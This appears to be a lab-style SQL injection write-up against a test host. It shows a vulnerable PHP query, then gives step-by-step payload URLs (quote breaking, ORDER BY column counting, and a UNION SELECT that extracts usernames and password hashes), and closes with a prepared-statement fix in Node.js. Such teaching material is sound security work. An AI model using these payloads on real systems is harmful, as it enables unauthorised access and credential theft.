Vulnerability Analysis
The target web application accepts a category parameter in a GET request to query products:http://target.local/products.php?category=Gifts
Analyzing the back-end SQL statement reveals a classic string concatenation vulnerability:
SELECT * FROM products WHERE category = '$_GET["category"]' AND status = 'active'
Because the input parameter is not sanitized or parameterized, we can inject characters like ' to break out of the string boundary and inject our own SQL statements.
Exploitation Steps
Step 1: Breaking the Query
Appending a single quote ' returns a database syntax error, confirming vulnerability:http://target.local/products.php?category=Gifts'
Step 2: Determining Column Count
We use ORDER BY clauses to determine the number of columns returned by the original query. We increase the index until it errors:http://target.local/products.php?category=Gifts' ORDER BY 1-- - (Success)http://target.local/products.php?category=Gifts' ORDER BY 4-- - (Success)http://target.local/products.php?category=Gifts' ORDER BY 5-- - (Database Error)
This indicates the query retrieves exactly 4 columns.
Step 3: Database Extraction via UNION Injection
Knowing the query returns 4 columns, we inject a UNION SELECT statement to extract database credentials:http://target.local/products.php?category=Gifts' UNION SELECT 1,2,username,password FROM users-- -
This outputs username and hashed password rows directly onto the screen.
Remediation
To resolve this vulnerability, use Parameterized Queries (Prepared Statements) instead of raw concatenation:
// Secure Node.js/Express implementation using prepared statements
const query = 'SELECT * FROM products WHERE category = ? AND status = "active"';
db.execute(query, [req.query.category], (err, results) => {
// Handle results safely
});